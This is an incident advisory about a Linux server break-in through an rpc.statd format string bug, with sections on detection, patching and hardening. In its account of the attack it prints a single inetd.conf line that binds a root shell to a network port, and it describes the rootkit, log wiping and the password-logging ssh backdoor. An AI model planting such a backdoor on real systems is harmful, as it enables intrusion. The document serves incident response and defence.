The Apollo Incident: Technical Advisory.

Thomas Roessler <roessler@does-not-exist.org>

ABSTRACT

apollo.honeyp.edu was broken into on late November 7 using a publicly-known "exploit". The attacker installed a root kit, a password-logging and backdoored ssh server, and a network sniffer. The break-in could have been prevented by proper system maintenance. Since there are various signs that the attacker observed focuses on RedHat Linux systems, we focus on these systems, too.

1. The attacker's modus operandi.

The initial attack exploits a well-known format string problem in **rpc.statd**. The following line is added to **/etc/inetd.conf**:

```
4545 stream tcp nowait root /bin/sh sh -i
```

Using this back door, a user account adm1 (user id 5000, primary group 5000), and a password-less root account named own are added to the system. Even at this early stage, the attacker cleans **/var/log/wtmp**, and kills **klogd** and **syslogd**. He also removes any logging-related startup scripts from **/etc/rc.d/init.d**.

The attacker then logs into the system as adm1 using **telnet** (or possibly any other remote login service such as **ssh**), and uses **su** to switch identities to own (i.e., root).

The attacker then uses **ftp** to fetch his tool chest from some remote location. On apollo, this tool chest was extracted in the directory **/usr/man/.Ci**. Since this directory is hardcoded in some scripts found on apollo, it is likely that it's a typical fingerprint of this specific attacker. Other, similar attacks could, however, use any other directory or directories.

The apollo intruder then continues by running a shell script included with his tool chest. This script removes various **.bash_history** files, and replaces them by symbolic links to **/dev/null**. It tries to replace the following system binaries with trojan versions from the Linux Root Kit: **/bin/ps**, **/usr/bin/top**, **/usr/sbin/syslogd**, **/bin/ls**, **/bin/netstat**, **/sbin/ifconfig**, **/usr/sbin/tcpd**, and **/usr/sbin/in.identd**. Note that, on the RedHat systems the attacker seems to be focused on, **syslogd** is actually installed in the **/sbin** directory, which implies that it's not replaced.

On apollo, backup copies of the original system binaries were stored in **/usr/man/.Ci/backup**.

The installation procedure used replicates the original files' time stamps on the trojan horse binaries installed. Just comparing time stamps will *not* tell you whether or not these binaries were modified.

The trojan horse version of **ifconfig** conceals network interfaces running in promiscuous mode. Additionally, **ps** and **top** do not display certain programs. **ls** is modified not to show certain files. **netstat** and **tcpd** do not show certain network connections.

The attacker further has access to trojan versions of the **pstree**, **killall**, and **find** programs. However, these are not installed by the script he uses.

Next, a packet sniffer is started and put into the background. This program monitors the network for ftp, telnet, rlogin, and imap network connections which are logged to **/usr/man/.Ci/tcp.log**.

Another script then removes various traces from the system's log files.

The next steps of the intruder are aimed at securing the system against further attacks from other attackers: Various possibly dangerous network services are removed. The suid and sgid bits on various executables on the system are cleaned. The intruder then installs his own versions of the following packages: **am-utils**, **lpr**, **make**, **ypserv**, **screen**, **telnet**, **wu-ftpd**, **nfs-utils**. With the exception of the **wu-ftpd** and **nfs-utils** packages, these were actually downgrades. However, with the further exception of **make**, all packages versions installed match security upgrades from RedHat for earlier releases of the distribution.

The attacker then installs a copy of the **BitchX** IRC client to **/bin/bx**.

Next, a modified version of **ssh-1.2.27** is installed on the system, and started. This version includes a universal password, and logs any user passwords it encounters to **/usr/tmp/nap**.

After this back door is installed, the attacker uses a script to remove the adm1 and own accounts. As a side effect, the shutdown account is removed, too (it contains "own" as a substring).

The shell server added to **/etc/inetd.conf** is removed manually.

2. Detecting a compromise

Note that, in case of a successfull compromise, you can't trust the system tools which are typically replaced by the attacker. See http://staff.washington.edu/dittrich/misc/faqs/rootkits.faq for an FAQ on working on a system which has been subverted using a root kit.

We now list various traces left by the attacker:

- The shutdown account has been removed from **/etc/passwd** and **/etc/shadow**.
- System logging has stopped, and some network servers have disappeared from your system.
- There are unusual files in the **/dev** directory. To check for these, type

  ```
  # find /dev -type f -print0 | less
  ```

  Note that system's **find** may lie to you. Also note that you may encounter file names which contain (or entirely consist of) special characters or white space. Common tricks also include directory names like ".. " (two dots and a space character).
- System files are inconsistent with the package manager's idea of the system. Run

  ```
  # rpm -V -a | grep ^..5
  ```

  in order to find such files. Note that an advanced attacker may have fixed the package manager's idea of the system, or may have installed his own versions of any relevant packages. Also note that the output of this command will be meaningless if you have compiled and installed your own versions of system software.
- System binaries are linked against libc.so.5 on a system based on GNU libc. Use **ldd**(1) to check the system utilities mentioned in section 1.
- **ifconfig** isn't able to tell you about promiscuous interfaces. Type this:

  ```
  # strings /sbin/ifconfig  | fgrep PROMISC
  ```

  If there is no output, this means that **ifconfig** is not able to report promiscuous interfaces. It is likely that your host is or will be running a network sniffer in this case.
- You notice software upgrades (or downgrades) on your system which weren't done by you.
- You can, of course, look for any of the files and directories mentioned in section 1. Remember that the system may have a root kit installed. Apply the methods from the rootkit FAQ when investigating the system.

If you notice an intrusion, please contact the computing center as soon as possible. Try to avoid any activities which could ruin evidence found on the machine. In particular, do not even read any files you may find in the intruder's tool chest. For more advice on how to handle a system broken into, read http://staff.washington.edu/dittrich/misc/faqs/responding.faq.

3. Detecting and defending against the vulnerability

The specific vulnerability exploited on apollo was a format string bug in **rpc.statd**. This vulnerability was present in versions of the **nfs-utils** package prior to 0.1.9.1-1. In order to check what version of the package is installed on your system, type:

```
# rpm -q nfs-utils
```

If your system is vulnerable, either remove the **nfs-utils** package when it's not needed for daily operations, or perform a general system update. Updated packages can be found at ftp://ftp.redhat.com/pub/redhat/updates/.

Note that just updating or removing the **nfs-utils** package will leave other vulnerabilities open on your system.

4. General system management practices and further reading

Note that the intrusion on apollo could have been avoided by just updating software in a timely manner. In particular, we suggest you follow these guidelines:

- Do not install any self-compiled software in **/usr**, or other directories where software controlled by the package manager resides. Use **/usr/local** instead. If you have to install self-compiled software in the parts of the file system controlled by the package manager, create custom packages and install them using the package manager. Archive the packages you generate offline, ideally on CD-ROM.

  That way, you can use the package manager to quickly verify the consistency of your system.
- Do not install or run any software you don't need. For instance, there is no need to run an NFS server if you aren't exporting anything that way. Note that default installations of Linux distributions will regularly put lots of software onto your machine which *you* will never need. This software may, however, be quite helpful to an attacker.
- Regularly monitor your system's log files.
- Regularly apply vendor-supplied updates.
- Subscribe to your vendor's announcement list. If you are running RedHat Linux, subscribe yourself to redhat-watch-list at https://listman.redhat.com.

Finally, the most important rule is: Be prepared. Inform yourself about security before someone breaks into your system. Some suggested reading is listed below:

- *Practical Unix & Internet Securtity* by Spafford and Garfinkel was published by O'Reilly. The book gives you an idea of what you are going to encounter.
- www.cert.org. This is the Computer Emergency Response Team's web site, which has information about vulnerabilities, ongoing activities, and proactive measures you can take.
- www.securityfocus.com. This web site was built around the bugtraq mailing list. It has extensive information on any recent, security-related developments.
- ftp.technotronic.com. Here, you can find a collection of tools which will be used against you at some point in the future. It may be a good idea to become familiar with these tools before you find them on your own systems.